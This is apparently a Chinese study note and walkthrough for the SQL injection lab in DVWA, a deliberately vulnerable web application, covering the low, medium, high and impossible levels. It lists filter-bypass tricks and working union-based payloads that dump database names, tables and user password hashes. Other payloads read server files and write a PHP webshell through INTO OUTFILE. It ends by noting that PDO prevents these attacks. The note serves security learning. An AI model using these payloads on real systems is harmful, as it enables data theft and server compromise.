SQL Injection:
绕过空格(注释符/* */,%a0)
括号绕过空格
引号绕过(使用十六进制) %df%5c%27
逗号绕过(使用from或者offset)
or and xor not绕过:and=&& or=|| xor=| not=!
绕过注释符号(#,--(后面跟一个空格))过滤:id=1' union select 1,2,3||'1
=绕过: 使用like 、rlike 、regexp 或者 使用< 或者 >
绕过union,select,where等:使用注释符绕过//,-- , /**/, #, --+, -- -, ;,%00,--a
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(low)
通过注入1' -- 得知为字符型注入
通过1' order by 3 -- 报错,1' order by 2 -- #不报错得知为2字段
-1' union select version(),database() -- #得知数据库版本和当前数据库
-1' union select group_concat(schema_name),database() from information_schema.schemata -- #获得所有数据库名
-1' union select group_concat(table_name),database() from information_schema.tables where table_schema='dvwa' -- #获得dvwa数据库下所有的表
-1' union select group_concat(column_name),database() from information_schema.columns where table_schema='dvwa' and table_name='users' -- #获得dvwa数据库下users表下面的列名
-1' union select group_concat(user),group_concat(password) from dvwa.users -- #获得users表列名为user和password的数据
1' union select load_file('D:\\web\\PhpStudy20180211\\PHPTutorial\\WWW\\DVWA\\index.php'),2 -- #读取index.php文件
利用into outfile()函数写入一句话拿webshell
不知道路径的情况下,先通过报错得出网站的绝对路径:1' union select 'xx',2 into outfile 'xx'#
1' union select 1,'<?php @eval($_POST["cmd"]);?>' into outfile 'D:\\web\\PhpStudy20180211\\PHPTutorial\\WWW\\x.php'# 写入一句话到根目录
(Medium)
查看抓包,发现是post注入
通过post发送id=1' and 1=1 #&Submit=Submit 错误,id=1 and 1=1 #&Submit=Submit不错误发现是整型
通过1' order by 3 -- 报错,1' order by 2 -- #不报错得知为2字段
通过id=1 union select database(),version() #&Submit=Submit #得知当前数据库和版本
通过id=1 union select database(),group_concat(schema_name) from information_schema.schemata #&Submit=Submit #得知所有数据库名
通过id=1 union select database(),group_concat(table_name) from information_schema.tables where table_schema='dvwa' # &Submit=Submit 报错,经过对比,应该是后台源码对'进行了转义
id=1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() # &Submit=Submit #查询对当前数据库的所有表
考虑到对'进行转义,对表名进行16进制表示 id=1 union select database(),group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # &Submit=Submit #查看列名
id=1 union select group_concat(password),group_concat(user) from users # &Submit=Submit #得到用户账号
(high)
将dvwa设置为高级,可以看出,点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过
和low一样
(impossible)
查看源码发现运用了PDO技术
PDO全名PHP Data Object
PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。